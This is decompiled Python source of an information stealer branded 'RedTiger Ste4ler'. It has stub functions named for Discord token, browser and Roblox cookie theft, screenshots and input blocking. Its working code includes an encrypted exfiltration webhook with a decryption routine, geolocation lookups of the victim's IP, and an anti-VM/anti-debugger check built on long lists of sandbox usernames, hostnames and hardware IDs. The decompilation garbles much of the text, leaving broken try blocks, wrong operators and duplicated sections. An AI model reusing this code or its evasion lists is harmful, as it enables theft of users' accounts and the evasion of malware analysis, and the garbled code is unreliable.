# Decompiled with PyLingual ([Link]

io)
# Internal filename: [Link]
# Bytecode version: 3.11a7e (3495)
# Source timestamp: 1970-01-01 [Link] UTC (0)

import sys
import os
import socket
import win32api
import requests
import threading
import time

def B10ck_K3y():
return

def Unb10ck_K3y():
return

def B10ck_T45k_M4n4g3r():
return

def B10ck_M0u53():
return

def B10ck_W3b5it3():
return

def St4rtup():
return

def Sy5t3m_Inf0():
return

def Op3n_U53r_Pr0fi13_53tting5():
return

def Scr33n5h0t():
return

def C4m3r4_C4ptur3():
return

def Di5c0rd_T0k3n():
return

def Di5c0rd_inj3c710n():
return

def Br0w53r_5t341():
return

def R0b10x_C00ki3():
return

def F4k3_3rr0r():
return

def Sp4m_0p3n_Pr0gr4m():
 return

def Sp4m_Cr34t_Fil3():
return

def Shutd0wn():
return

def Sp4m_Opti0ns():
return

def R3st4rt():
return

def Clear():
try:
if [Link]('win'):
[Link]('cls')
else: # inserted
if [Link]('linux'):
[Link]('clear')
except:
return None
TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEBCP =
'%WEBHOOK_URL%'
VACYNCEMNSGCKVFNNWMTVEDLWAZGANUMKIGPZSDBWIATYDJQVTTSDMDBUOQUIPYIPLIGTACBECOUDLTJ =
'[Link]'
KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIHOWXJCT
AHXEGQFSQMNVFUX = 11011333
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC = 'RedTiger Ste4ler'
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP =
'[Link]
[Link]?
ex=66cf38be&is=66cde73e&hm=696c53b4791044ca0495d87f92e6d603e8383315d2ebdd385aaccfc6
dbf6aa77&'
GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM =
'RedTiger Ste4ler | [Link]
LWBOCCTTFEJXOHGRKPEFQFREFIMPXBGIXAHUZHZPBUDAWZBVCMPBUVETIQJKQRIDDHEOAYEHQGTSYYRDDZJ
QFERHOOCOHAC = {'text':
GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
'icon_url': YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP}
WIKPWOBQIBEOAFFOLBPQWJLLGTGRUBMKENXBUEQXJSISANXJNFBTAWPKHUVWMEVUBAEQLLYOQMARCGRQARG
KXHZKR = [Link]()
except:
pass # postinserted
WIKPWOBQIBEOAFFOLBPQWJLLGTGRUBMKENXBUEQXJSISANXJNFBTAWPKHUVWMEVUBAEQLLYOQMARCGRQARG
KXHZKR = 'None'
OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDW
DAP = [Link]()
except:
pass # postinserted
OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDW
DAP = 'None'
ZTVJUUPKNRMVPRVOGUDLXQNNVQVKNDUKBLTXIZJKYYICSJTZAVSEBEDUYELEPSGAPNMIJPRHLX =
[Link]([Link])
except:
pass # postinserted
ZTVJUUPKNRMVPRVOGUDLXQNNVQVKNDUKBLTXIZJKYYICSJTZAVSEBEDUYELEPSGAPNMIJPRHLX = 'None'
IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQY
N = [Link]('[Link] 'None')
except:
pass # postinserted
IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQY
N = 'None'
QKGIDHXWHRRQWWPPDSGQWONGESSMXQLFQIOHUUOULUCYOMQEZWFOFZFBWDSQ =
[Link]([Link]())
except:
pass # postinserted
QKGIDHXWHRRQWWPPDSGQWONGESSMXQLFQIOHUUOULUCYOMQEZWFOFZFBWDSQ = 'None'
try:

FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
=
[Link](f'[Link]
UIPYIPLIGTACBECOUDLTJ}/api/ip/
ip={IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDB
ADQYN}')
PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW =
FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
.json()

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX = [Link]('country', 'None')

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX_code = [Link]('country_code',
'None')
ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV =
[Link]('region', 'None')

ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV_code =
[Link]('region_code', 'None')
FKMWYQIXHDRUSKGWIPXODPVFUZUMPCKCMQGMKISSDIJBCUSTPILDHSZXIXAFOFTOAECWCVMJOHNJ =
[Link]('zip', 'None')

UHYXBNCFQCYCWPVRDQVNNMACIFQENDIAROGOPRBLPGDVLRNQZDIYNVWVRVSDGVMLHNXLYTCPQKUORYOUFMJ
ROERHWDBRTVVQCMH = [Link]('city',
'None')
HCNEGVAGHMAZZHDZAKCRWMWYLQACGMTPKVNUZXPHVUAXTZVUEWRWYBWMJCMZSVEXBAEADH =
[Link]('latitude', 'None')

SRHLMTTULFBZXCNRUDWFJXBMYTJHJQUEFDRBVZREBKTQWDIQYNCRNYGRXKOMTVVWQGUHQGDLUMKTOEFKIGM
GLXIRSJGGPJKSVKP =
[Link]('longitude', 'None')

AUXJHGBDBWUSPWQFVGXDUMRYIEWIFBVRAXRPFYBDLEUHFCMEDHCJDSIZWLWJMHPLVTCLIEHWAYTLSGIMHOH
PAJNSYAVJQLQZ =
[Link]('timezone', 'None')

JMUKVZMGTRVXYSUEJLXXCDHGARMRQTGLGHKGISLRXURMQKQSZVJMYUIYSHWRXABNJLKEZZFYGKEZHDNLRLS
RIM = [Link]('isp', 'None')

FYZSRBMUMHLUZRYTSMKNDAEIXZSUIPESHKYNSUMSFTJPVVANPWCOJNBCENMGLTCYYYMOSQHTSNOWLVLTLQY
GLLMW = [Link]('org', 'None')
KATVCDFWAABUWATNRHHHRSXOTVDEKYZQGGPAYZVEKPCIRRCRWFHUZW =
[Link]('as', 'None')
except:
FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
= [Link](f'[Link]
PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW =
FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
.json()

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX = [Link]('country', 'None')

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX_code = [Link]('countryCode',
'None')
ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV =
[Link]('regionName', 'None')

ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV_code =
[Link]('region', 'None')
FKMWYQIXHDRUSKGWIPXODPVFUZUMPCKCMQGMKISSDIJBCUSTPILDHSZXIXAFOFTOAECWCVMJOHNJ =
[Link]('zip', 'None')

UHYXBNCFQCYCWPVRDQVNNMACIFQENDIAROGOPRBLPGDVLRNQZDIYNVWVRVSDGVMLHNXLYTCPQKUORYOUFMJ
ROERHWDBRTVVQCMH = [Link]('city',
'None')
HCNEGVAGHMAZZHDZAKCRWMWYLQACGMTPKVNUZXPHVUAXTZVUEWRWYBWMJCMZSVEXBAEADH =
[Link]('lat', 'None')

SRHLMTTULFBZXCNRUDWFJXBMYTJHJQUEFDRBVZREBKTQWDIQYNCRNYGRXKOMTVVWQGUHQGDLUMKTOEFKIGM
GLXIRSJGGPJKSVKP = [Link]('lon',
'None')

AUXJHGBDBWUSPWQFVGXDUMRYIEWIFBVRAXRPFYBDLEUHFCMEDHCJDSIZWLWJMHPLVTCLIEHWAYTLSGIMHOH
PAJNSYAVJQLQZ =
[Link]('timezone', 'None')

JMUKVZMGTRVXYSUEJLXXCDHGARMRQTGLGHKGISLRXURMQKQSZVJMYUIYSHWRXABNJLKEZZFYGKEZHDNLRLS
RIM = [Link]('isp', 'None')

FYZSRBMUMHLUZRYTSMKNDAEIXZSUIPESHKYNSUMSFTJPVVANPWCOJNBCENMGLTCYYYMOSQHTSNOWLVLTLQY
GLLMW = [Link]('org', 'None')
KATVCDFWAABUWATNRHHHRSXOTVDEKYZQGGPAYZVEKPCIRRCRWFHUZW =
[Link]('as', 'None')

def Ant1_VM_4nd_D38ug():
import os
import socket
import subprocess
import ctypes
import sys
import psutil
XWDUEBXZYIEQRASSJLJEMNDLWPPGTXQWUJKDOBDOXFOPMORJKDZADCQMBJALCWMDUIBGNJEPE =
['WDAGUtilityAccount', 'Abby', 'hmarc', 'patex', 'RDhJ0CNFevzX', 'kEecfMwgj',
'Frank', '8Nl0ColNQ5bq', 'Lisa', 'John', 'george', 'BrunoPxmdUOpVyx', '8VizSM',
'w0fjuOVmCcP5A', 'lmVwjj9b', 'PqONjHVwexsS', '3u2v9m8', 'Julia', 'HEUeRzl', 'fred',
'server', 'BvJChRPnsxn', 'Harry Johnson', 'SqgFOf3G', 'Lucas', 'mike', 'PateX',
'h7dk1xPr', 'Louise', 'User01', 'test', 'RGzcBUyrznReg', 'stephpie']

CUPKRDOAKAVPSCZKQFVMYZDJIFPVXABHVYSVBJJUXKKWWQARLGBFXVEFJFRXFMPYZAKRZIVPIDKBMWMUMKO
FHBC = ['0CC47AC83802', 'BEE7370C-8C0C-4', 'DESKTOP-ET51AJO', '965543', 'DESKTOP-
NAKFFMT', 'WIN-5E07COS9ALR', 'B30F0242-1C6A-4', 'DESKTOP-VRSQLAG', 'Q9IATRKPRH',
'XC64ZB', 'DESKTOP-D019GDM', 'DESKTOP-WI8CLET', 'SERVER1', 'LISA-PC', 'JOHN-PC',
'DESKTOP-B0T93D6', 'DESKTOP-1PYKP29', 'DESKTOP-1Y2433R', 'WILEYPC', 'WORK',
'6C4E733F-C2D9-4', 'RALPHS-PC', 'DESKTOP-WG3MYJS', 'DESKTOP-7XC6GEZ', 'DESKTOP-
5OV9S0O', 'QarZhrdBpj', 'ORELEEPC', 'ARCHIBALDPC', 'JULIA-PC', 'd1bnJkfVlH',
'NETTYPC', 'DESKTOP-BUGIO', 'DESKTOP-CBGPFEE', 'SERVER-PC', 'TIQIYLA9TW5M',
'DESKTOP-KALVINO', 'COMPNAME_4047', 'DESKTOP-19OLLTD', 'DESKTOP-DE369SE',
'EA8C2E2A-D017-4', 'AIDANPC', 'LUCAS-PC', 'MARCI-PC', 'ACEPC', 'MIKE-PC', 'DESKTOP-
IAPKN1P', 'DESKTOP-NTU7VUO', 'LOUISE-PC', 'T00917', 'test42', 'test']
AHJIPNPWNVYFRZFVWNUOKHCOMRSHFZAZBJKDBZYZCQAQTBLLTSLUUIZRBKMYCHKALQDVR =
['671BC5F7-4B0F-FF43-B923-8B1645581DC8', '7AB5C494-39F5-4941-9163-47F54D6D5016',
'03DE0294-0480-05DE-1A06-350700080009', '11111111-2222-3333-4444-555555555555',
'6F3CA5EC-BEC9-4A4D-8274-11168F640058', 'ADEEEE9E-EF0A-6B84-B14B-B83A54AFC548',
'4C4C4544-0050-3710-8058-CAC04F59344A', '00000000-0000-0000-0000-AC1F6BD04972',
'00000000-0000-0000-0000-000000000000', '5BD24D56-789F-8468-7CDC-CAA7222CC121',
'49434D53-0200-9065-2500-65902500E439', '49434D53-0200-9036-2500-36902500F022',
'777D84B3-88D1-451C-93E4-D235177420A7', '49434D53-0200-9036-2500-369025000C65',
'B1112042-52E8-E25B-3655-6A4F54155DBF', '00000000-0000-0000-0000-AC1F6BD048FE',
'EB16924B-FB6D-4FA1-8666-17B91F62FB37', 'A15A930C-8251-9645-AF63-E45AD728C20C',
'67E595EB-54AC-4FF0-B5E3-3DA7C7B547E3', 'C7D23342-A5D4-68A1-59AC-CF40F735B363',
'63203342-0EB0-AA1A-4DF5-3FB37DBB0670', '44B94D56-65AB-DC02-86A0-98143A7423BF',
'6608003F-ECE4-494E-B07E-1C4615D1D93C', 'D9142042-8F51-5EFF-D5F8-EE9AE3D1602A',
'49434D53-0200-9036-2500-369025003AF0', '8B4E8278-525C-7343-B825-280AEBCD3BCB',
'4D4DDC94-E06C-44F4-95FE-33A1ADA5AC27', '79AF5279-16CF-4094-9758-F88A616D81B4',
'FF577B79-782E-0A4D-8568-B35A9B7EB76B', '08C1E400-3C56-11EA-8000-3CECEF43FEDE',
'6ECEAF72-3548-476C-BD8D-73134A9182C8', '49434D53-0200-9036-2500-369025003865',
'119602E8-92F9-BD4B-8979-DA682276D385', '12204D56-28C0-AB03-51B7-44A8B7525250',
'63FA3342-31C7-4E8E-8089-DAFF6CE5E967', '365B4000-3B25-11EA-8000-3CECEF44010C',
'D8C30328-1B06-4611-8E3C-E433F4F9794E', '00000000-0000-0000-0000-50E5493391EF',
'00000000-0000-0000-0000-AC1F6BD04D98', '4CB82042-BA8F-1748-C941-363C391CA7F3',
'B6464A2B-92C7-4B95-A2D0-E5410081B812', 'BB233342-2E01-718F-D4A1-E7F69D026428',
'9921DE3A-5C1A-DF11-9078-563412000026', 'CC5B3F62-2A04-4D2E-A46C-AA41B7050712',
'00000000-0000-0000-0000-AC1F6BD04986', 'C249957A-AA08-4B21-933F-9271BEC63C85',
'BE784D56-81F5-2C8D-9D4B-5AB56F05D86E', 'ACA69200-3C4C-11EA-8000-3CECEF4401AA',
'3F284CA4-8BDF-489B-A273-41B44D668F6D', 'BB64E044-87BA-C847-BC0A-C797D1A16A50',
'2E6FB594-9D55-4424-8E74-CE25A25E36B0'
'''Decompiler error: line too long for translation. Please decompile this
statement manually.'''
try:
if [Link]() is not None:
return True
except:
pass
try:
if [Link]():
return True
except:
pass
try:
for v4r_proc in psutil.process_iter(['name']):
HNOFHYLWFERKHFWALHETNWMDXFSPCLLZDYSSGIURQIZVDSHSOFNGBOLNMGSCMWJ =
str(v4r_proc.info['name']).lower()
if any((debugger in
HNOFHYLWFERKHFWALHETNWMDXFSPCLLZDYSSGIURQIZVDSHSOFNGBOLNMGSCMWJ for debugger in
QRCJTLENVMOUATGEFZTIRNWAWHUKVDPCCIEHEBPOAUULUVPKFMGXHRYHTTPCNYZULNUIPURCHLBGKPKLPOU
VESOGJRRCFEKO)):
pass # postinserted
else: # inserted
return True
 pass
else: # inserted
try:
pass # postinserted
except ([Link], [Link]):
pass # postinserted
except:
pass # postinserted
pass
try:
if [Link]() in
XWDUEBXZYIEQRASSJLJEMNDLWPPGTXQWUJKDOBDOXFOPMORJKDZADCQMBJALCWMDUIBGNJEPE:
return True
if [Link]().lower() in [v4r_u53rn4m3.lower() for v4r_u53rn4m3 in
XWDUEBXZYIEQRASSJLJEMNDLWPPGTXQWUJKDOBDOXFOPMORJKDZADCQMBJALCWMDUIBGNJEPE]:
return True
except:
pass
try:
if [Link]() in
CUPKRDOAKAVPSCZKQFVMYZDJIFPVXABHVYSVBJJUXKKWWQARLGBFXVEFJFRXFMPYZAKRZIVPIDKBMWMUMKO
FHBC:
return True
if [Link]().lower() in [v4r_h05tn4m3.lower() for v4r_h05tn4m3
in
CUPKRDOAKAVPSCZKQFVMYZDJIFPVXABHVYSVBJJUXKKWWQARLGBFXVEFJFRXFMPYZAKRZIVPIDKBMWMUMKO
FHBC]:
return True
except:
pass
try:
if subprocess.check_output('C:\\Windows\\System32\\wbem\\[Link] csproduct
get uuid', shell=True, stdin=[Link], stderr=[Link]).decode('utf-
8').split('\n')[1].strip() in
AHJIPNPWNVYFRZFVWNUOKHCOMRSHFZAZBJKDBZYZCQAQTBLLTSLUUIZRBKMYCHKALQDVR:
return True
except:
pass
return False
PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM =
Ant1_VM_4nd_D38ug()
except:
pass # postinserted
PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM = False
if PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM == True:
import sys
[Link]()
import sys

def On1y_W1nd0w5():
if [Link]('win'):
return False
return True
PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM =
On1y_W1nd0w5()
except:
pass # postinserted
PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM = False
if PLPYVUBQINMUSGJIAMOLJDZUNKQEGYZFUVEXUNXGXYXZDJNJXWWHLVIMFLRMYPMWPBOM == True:
 [Link]()
import os
import socket
import win32api
import requests
import threading
from [Link] import hashes
from [Link].pbkdf2 import PBKDF2HMAC
from [Link] import Cipher, algorithms, modes
from [Link] import padding
from [Link] import default_backend
import base64

def B10ck_K3y():
return

def Unb10ck_K3y():
return

def B10ck_T45k_M4n4g3r():
return

def B10ck_M0u53():
return

def B10ck_W3b5it3():
return

def St4rtup():
return

def Sy5t3m_Inf0():
return

def Op3n_U53r_Pr0fi13_53tting5():
return

def Scr33n5h0t():
return

def C4m3r4_C4ptur3():
return

def Di5c0rd_T0k3n():
return

def Di5c0rd_inj3c710n():
return

def Br0w53r_5t341():
return

def R0b10x_C00ki3():
return

def F4k3_3rr0r():
return

def Sp4m_0p3n_Pr0gr4m():
 return

def Sp4m_Cr34t_Fil3():
return

def Shutd0wn():
return

def Sp4m_Opti0ns():
return

def R3st4rt():
return

def Clear():
try:
if [Link]('win'):
[Link]('cls')
else: # inserted
if [Link]('linux'):
[Link]('clear')
except:
return None

def
Decrypt(APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTL
HFYAOKTZT, v4r_key):
def DeriveKey(v4r_password, v4r_salt):
v4r_kdf = PBKDF2HMAC(algorithm=hashes.SHA256(), length=32, salt=v4r_salt,
iterations=100000, backend=default_backend())
if isinstance(v4r_password, str):
v4r_password = v4r_password.encode()
return v4r_kdf.derive(v4r_password)

APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_data =
base64.b64decode(APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGF
SHCNKYHTLHFYAOKTZT)
v4r_salt =
APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_data[:16]
v4r_iv =
APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_data[16:32]

APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_data =
APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGUUYGFSHCNKYHTLHFYAOKTZ
T_data[32:]
v4r_derived_key = DeriveKey(v4r_key, v4r_salt)
v4r_cipher = Cipher([Link](v4r_derived_key), [Link](v4r_iv),
backend=default_backend())
v4r_decryptor = v4r_cipher.decryptor()
v4r_decrypted_data =
v4r_decryptor.update(APQBDAJPOHUQOYNJMXAPFQDIQJCPDTUDIRCCOMSDBCSWIEBCOOVVXACVQPQGGU
UYGFSHCNKYHTLHFYAOKTZT_data) - v4r_decryptor.finalize()
v4r_unpadder = padding.PKCS7(128).unpadder()
v4r_original_data = v4r_unpadder.update(v4r_decrypted_data) -
v4r_unpadder.finalize()
 return v4r_original_data.decode()
TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEBCP_crypt = '\
n7+6Bma+36PREVID+2edSqPdd/oNTvCcIMvzPwIGvey1vfJcePvdrPNf2hwvFmqVZvp9ObPhxwT+6uSb/
WLuzTbMEEPi935PtHDQ5dLMkOKPgIDanPJujoHBujV/Q3mwlz1IwUzdUH/
S9UYVG3Hm8DqOb9EC4m29XNmSQtfhYiEDe+RMKQCyztyRvHFMcjuyH8VDEEqQxNxwVuV+yBcLoldWaXUzOh
2a8WkOeWOWq9/U=\n'
ZXHKLPJAPTKYPBUWPSXNFDUMFCNKPPEMJMMUVPLAVDDGMCKQTKMAMADFAVEDPQWFNH =
'ZxvblAiHRjXSyTGxJiRekMNSxbximAuZWLSztYGeBaLqQiHPBmyYhTYASxWCJayOJWYnLMvQCfaKjWDHZP
SFcpsQdvdIhMYpQJucpsdtkNFCmQfOdeJl'
VACYNCEMNSGCKVFNNWMTVEDLWAZGANUMKIGPZSDBWIATYDJQVTTSDMDBUOQUIPYIPLIGTACBECOUDLTJ =
'[Link]'
KZQJVODPJWFGGZKARRUBKLCEBVNJFBGJSEAJUZKLCOZGJVSCALVPXPNXACCOARNPHJOXQKEWCFOIHOWXJCT
AHXEGQFSQMNVFUX = 11011333
SXZVBIADQBTEKMNSXJFIFIFRJTLSLEIKOIHSBZDQSXPPCZPTUBHLYDEGXNGFRMLVFJNMXVXHCBPACAWTNFL
RWEFDSOILHWHMC = 'RedTiger Ste4ler'
YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP =
'[Link]
[Link]?
ex=66cf38be&is=66cde73e&hm=696c53b4791044ca0495d87f92e6d603e8383315d2ebdd385aaccfc6
dbf6aa77&'
GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM =
'RedTiger Ste4ler - [Link]/loxy0dev/RedTiger-Tools'
LWBOCCTTFEJXOHGRKPEFQFREFIMPXBGIXAHUZHZPBUDAWZBVCMPBUVETIQJKQRIDDHEOAYEHQGTSYYRDDZJ
QFERHOOCOHAC = {'text':
GCXPFMSAIYEUNUXCQDUWOJPFYLSBKXKXCFCSUHSGSFLBJFRJLPDCBOESCRGUUBMAKYLEKXVLXLPMM,
'icon_url': YFAIZFASWSPFINFGUNDFZFUQZAJJZESOMYIKEDUAGSGKJEFGSEFP}
TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEBCP =
Decrypt(TXGCXACHOWAIDDQSQRJLKQCGMJXMCRPDSEPBQJEAUOATSMWSCVSXMYAQAUUXRXIAMFFEBCP_cry
pt, ZXHKLPJAPTKYPBUWPSXNFDUMFCNKPPEMJMMUVPLAVDDGMCKQTKMAMADFAVEDPQWFNH)
WIKPWOBQIBEOAFFOLBPQWJLLGTGRUBMKENXBUEQXJSISANXJNFBTAWPKHUVWMEVUBAEQLLYOQMARCGRQARG
KXHZKR = [Link]()
except:
pass # postinserted
WIKPWOBQIBEOAFFOLBPQWJLLGTGRUBMKENXBUEQXJSISANXJNFBTAWPKHUVWMEVUBAEQLLYOQMARCGRQARG
KXHZKR = 'None'
OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDW
DAP = [Link]()
except:
pass # postinserted
OSJMLNKRIZRUYWQUUCJKQQGQXFUVXVDKJLSFFBHASLGKRIBOLWSHVHIJEFLFWBLMBYMKMJGITVQFCUUMXDW
DAP = 'None'
ZTVJUUPKNRMVPRVOGUDLXQNNVQVKNDUKBLTXIZJKYYICSJTZAVSEBEDUYELEPSGAPNMIJPRHLX =
[Link]([Link])
except:
pass # postinserted
ZTVJUUPKNRMVPRVOGUDLXQNNVQVKNDUKBLTXIZJKYYICSJTZAVSEBEDUYELEPSGAPNMIJPRHLX = 'None'
IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQY
N = [Link]('[Link] 'None')
except:
pass # postinserted
IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQY
N = 'None'
QKGIDHXWHRRQWWPPDSGQWONGESSMXQLFQIOHUUOULUCYOMQEZWFOFZFBWDSQ =
[Link]([Link]())
except:
pass # postinserted
QKGIDHXWHRRQWWPPDSGQWONGESSMXQLFQIOHUUOULUCYOMQEZWFOFZFBWDSQ = 'None'
try:
FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
=
[Link](f'[Link]
UIPYIPLIGTACBECOUDLTJ}/api/ip/
ip={IGBZGMCTAKALLPSAFQDWPQYPTYUXRSLIFXSTTSECUGHRITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDB
ADQYN}')
PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW =
FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
.json()

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX = [Link]('country', 'None')

ORIXZDIDMWUBBYKLNWCTMVOLTHMFHZJTVGDTZRAKGSTDHJQWFKVJZAWYYNTTTOJGLARCWCBAYBJLWCEQEDL
OX_code = [Link]('country_code',
'None')
ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV =
[Link]('region', 'None')

ABEVERREDVDPGTBBWVPQWCVZHHPULSMLRBLDTLHRXMRKKCTHEDKHUVMEIULEGSMEORUEFYAVFPNV_code =
[Link]('region_code', 'None')
FKMWYQIXHDRUSKGWIPXODPVFUZUMPCKCMQGMKISSDIJBCUSTPILDHSZXIXAFOFTOAECWCVMJOHNJ =
[Link]('zip', 'None')

UHYXBNCFQCYCWPVRDQVNNMACIFQENDIAROGOPRBLPGDVLRNQZDIYNVWVRVSDGVMLHNXLYTCPQKUORYOUFMJ
ROERHWDBRTVVQCMH = [Link]('city',
'None')
HCNEGVAGHMAZZHDZAKCRWMWYLQACGMTPKVNUZXPHVUAXTZVUEWRWYBWMJCMZSVEXBAEADH =
[Link]('latitude', 'None')

SRHLMTTULFBZXCNRUDWFJXBMYTJHJQUEFDRBVZREBKTQWDIQYNCRNYGRXKOMTVVWQGUHQGDLUMKTOEFKIGM
GLXIRSJGGPJKSVKP =
[Link]('longitude', 'None')

AUXJHGBDBWUSPWQFVGXDUMRYIEWIFBVRAXRPFYBDLEUHFCMEDHCJDSIZWLWJMHPLVTCLIEHWAYTLSGIMHOH
PAJNSYAVJQLQZ =
[Link]('timezone', 'None')

JMUKVZMGTRVXYSUEJLXXCDHGARMRQTGLGHKGISLRXURMQKQSZVJMYUIYSHWRXABNJLKEZZFYGKEZHDNLRLS
RIM = [Link]('isp', 'None')

FYZSRBMUMHLUZRYTSMKNDAEIXZSUIPESHKYNSUMSFTJPVVANPWCOJNBCENMGLTCYYYMOSQHTSNOWLVLTLQY
GLLMW = [Link]('org', 'None')
KATVCDFWAABUWATNRHHHRSXOTVDEKYZQGGPAYZVEKPCIRRCRWFHUZW =
[Link]('as', 'None')
except:

FEDLAYBNRMYYSCBHONXEJTGLWQBIHCGBZDPWVIHYBBAPHTGXBPQQQEUWNYOXYGVNNRMNHWPPYKOXJXMSTIA
=
[Link](f'[Link]
ITFDSOHUIHUTXOGOXZVWVAEUOZNZVCSTBDBADQYN}')
PVBEWKDSEDAVXRIXZBBQUZFWQHCOJRAPTOUSXXBPEGBOBDGVJIBW =
